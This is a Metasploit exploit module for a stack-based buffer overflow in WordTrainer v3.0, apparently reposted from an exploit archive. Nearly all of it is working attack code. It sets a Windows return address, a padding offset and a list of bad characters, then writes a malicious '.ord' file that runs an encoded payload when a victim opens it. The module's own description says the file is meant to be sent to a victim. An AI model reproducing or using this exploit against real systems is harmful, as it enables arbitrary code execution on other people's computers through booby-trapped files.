Wordtrainer 3.0 – ‘.ord’ Local Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'WordTrainer v3.0 (ORD File) Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in WordTrainer v3.0. An attacker must send the file to the victim and the victim must open the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'C4SS!0 G0M3S', # Initial Exploit 'James Fitts' # Metasploit Module ], 'Version' => '$Revision: $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17157' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1500, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x20", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x00430363 } ], #call esp in wt.exe ], 'Privileged' => false, 'DisclosureDate' => 'Apr 12 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ord']), ], self.class) end def exploit ord = "\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A" # header ord << rand_text_alpha_upper(868) ord << [target.ret].pack('V') ord << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(ord) end end |